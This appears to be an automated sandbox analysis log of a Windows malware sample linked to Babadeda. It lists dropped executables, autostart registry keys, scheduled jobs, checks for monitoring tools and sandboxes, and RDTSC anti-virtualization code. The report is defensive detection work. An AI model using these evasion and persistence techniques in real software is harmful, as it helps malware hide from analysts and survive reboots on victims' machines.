Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Unpacked PE file: 17.2.explorti.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lddzjshm:EW;ytmlykrz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Unpacked PE file: 19.2.cda9e1cbbc.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Unpacked PE file: 37.2.cda9e1cbbc.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Unpacked PE file: 19.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Unpacked PE file: 20.2.e0dbbf79bf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Unpacked PE file: 37.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Unpacked PE file: 43.2.e0dbbf79bf.exe.400000.0.unpack
Yara detected Babadeda
Source: Yara match File source: 20.2.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.0.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.0.e0dbbf79bf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\1000003002\e0dbbf79bf.exe, type: DROPPED
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 19_2_004195E0
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: explorti.exe.1.dr Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: real checksum: 0x1d7999 should be: 0x1db5ec
Source: random[1].exe0.17.dr Static PE information: real checksum: 0x0 should be: 0x1b3d5
Source: random[1].exe.19.dr Static PE information: real checksum: 0x1d7999 should be: 0x1db5ec
Source: JGKjBsQrMc.exe Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b
Source: e0dbbf79bf.exe.17.dr Static PE information: real checksum: 0x0 should be: 0x1b3d5
Source: enter[1].exe.19.dr Static PE information: real checksum: 0x1d2c26 should be: 0x1cf12b
PE file contains sections with non-standard names
Source: JGKjBsQrMc.exe Static PE information: section name:
Source: JGKjBsQrMc.exe Static PE information: section name: .idata
Source: JGKjBsQrMc.exe Static PE information: section name:
Source: JGKjBsQrMc.exe Static PE information: section name: lddzjshm
Source: JGKjBsQrMc.exe Static PE information: section name: ytmlykrz
Source: JGKjBsQrMc.exe Static PE information: section name: .taggant
Source: explorti.exe.1.dr Static PE information: section name:
Source: explorti.exe.1.dr Static PE information: section name: .idata
Source: explorti.exe.1.dr Static PE information: section name:
Source: explorti.exe.1.dr Static PE information: section name: lddzjshm
Source: explorti.exe.1.dr Static PE information: section name: ytmlykrz
Source: explorti.exe.1.dr Static PE information: section name: .taggant
Source: random[1].exe0.17.dr Static PE information: section name: .code
Source: e0dbbf79bf.exe.17.dr Static PE information: section name: .code
Source: random[1].exe.19.dr Static PE information: section name:
Source: random[1].exe.19.dr Static PE information: section name: .idata
Source: random[1].exe.19.dr Static PE information: section name:
Source: random[1].exe.19.dr Static PE information: section name: lsmjcynp
Source: random[1].exe.19.dr Static PE information: section name: bndcrfma
Source: random[1].exe.19.dr Static PE information: section name: .taggant
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name: .idata
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name: lsmjcynp
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name: bndcrfma
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name: .taggant
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name: .idata
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name: lddzjshm
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name: ytmlykrz
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name: .taggant
Source: enter[1].exe.19.dr Static PE information: section name:
Source: enter[1].exe.19.dr Static PE information: section name: .idata
Source: enter[1].exe.19.dr Static PE information: section name:
Source: enter[1].exe.19.dr Static PE information: section name: lddzjshm
Source: enter[1].exe.19.dr Static PE information: section name: ytmlykrz
Source: enter[1].exe.19.dr Static PE information: section name: .taggant
Source: freebl3.dll.19.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.19.dr Static PE information: section name: .00cfg
Source: mozglue.dll.19.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.19.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.19.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.19.dr Static PE information: section name: .didat
Source: nss3.dll.19.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.19.dr Static PE information: section name: .00cfg
Source: softokn3.dll.19.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.19.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EBD84C push ecx; ret 17_2_00EBD85F
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0041A9F5 push ecx; ret 19_2_0041AA08
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAEB536 push ecx; ret 19_2_6CAEB549
Source: JGKjBsQrMc.exe Static PE information: section name: entropy: 7.985958056489846
Source: JGKjBsQrMc.exe Static PE information: section name: lddzjshm entropy: 7.9521734682193035
Source: explorti.exe.1.dr Static PE information: section name: entropy: 7.985958056489846
Source: explorti.exe.1.dr Static PE information: section name: lddzjshm entropy: 7.9521734682193035
Source: random[1].exe.17.dr Static PE information: section name: .text entropy: 7.823971504289
Source: cda9e1cbbc.exe.17.dr Static PE information: section name: .text entropy: 7.823971504289
Source: random[1].exe.19.dr Static PE information: section name: entropy: 7.981514860220678
Source: random[1].exe.19.dr Static PE information: section name: lsmjcynp entropy: 7.953490770660444
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name: entropy: 7.981514860220678
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name: lsmjcynp entropy: 7.953490770660444
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name: entropy: 7.985958056489846
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name: lddzjshm entropy: 7.9521734682193035
Source: enter[1].exe.19.dr Static PE information: section name: entropy: 7.985958056489846
Source: enter[1].exe.19.dr Static PE information: section name: lddzjshm entropy: 7.9521734682193035
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\RoamingDBFHCGCGDA.exe Jump to dropped file
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\enter[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\RoamingJDHCBAEHJJ.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File created: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File created: C:\Users\user\1000003002\e0dbbf79bf.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Creates job files (autostart)
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File created: C:\Windows\Tasks\explorti.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cda9e1cbbc.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e0dbbf79bf.exe Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 19_2_004195E0
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 53F302 second address: 53F333 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE1C0EF51FEh 0x00000008 jmp 00007FE1C0EF51F8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FE1C0EF51ECh 0x00000018 jbe 00007FE1C0EF51E6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 53F333 second address: 53EBB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FE1C0B69E36h 0x00000009 jp 00007FE1C0B69E36h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 clc 0x00000014 push dword ptr [ebp+122D0029h] 0x0000001a cld 0x0000001b call dword ptr [ebp+122D3A5Fh] 0x00000021 pushad 0x00000022 clc 0x00000023 xor eax, eax 0x00000025 clc 0x00000026 mov edx, dword ptr [esp+28h] 0x0000002a add dword ptr [ebp+122D21FFh], ebx 0x00000030 mov dword ptr [ebp+122D2CAFh], eax 0x00000036 mov dword ptr [ebp+122D21FFh], ebx 0x0000003c mov esi, 0000003Ch 0x00000041 pushad 0x00000042 mov ecx, dword ptr [ebp+122D2933h] 0x00000048 mov dword ptr [ebp+122D2D39h], esi 0x0000004e popad 0x0000004f jp 00007FE1C0B69E3Ch 0x00000055 sub dword ptr [ebp+122D2D39h], edi 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f clc 0x00000060 lodsw 0x00000062 jmp 00007FE1C0B69E41h 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b jmp 00007FE1C0B69E46h 0x00000070 jmp 00007FE1C0B69E3Eh 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 pushad 0x0000007a call 00007FE1C0B69E3Ah 0x0000007f mov esi, dword ptr [ebp+122D2A03h] 0x00000085 pop eax 0x00000086 jmp 00007FE1C0B69E47h 0x0000008b popad 0x0000008c push eax 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 jmp 00007FE1C0B69E40h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 53EBB6 second address: 53EBBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 694070 second address: 694076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 694076 second address: 694088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A9C7D second address: 6A9C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A9C83 second address: 6A9C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A9C87 second address: 6A9C90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A9C90 second address: 6A9C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51EAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A9C9F second address: 6A9CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE1C0B69E36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A9CAB second address: 6A9CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A9F72 second address: 6A9F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA0B6 second address: 6AA0D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51F9h 0x00000009 jne 00007FE1C0EF51E6h 0x0000000f rdtsc
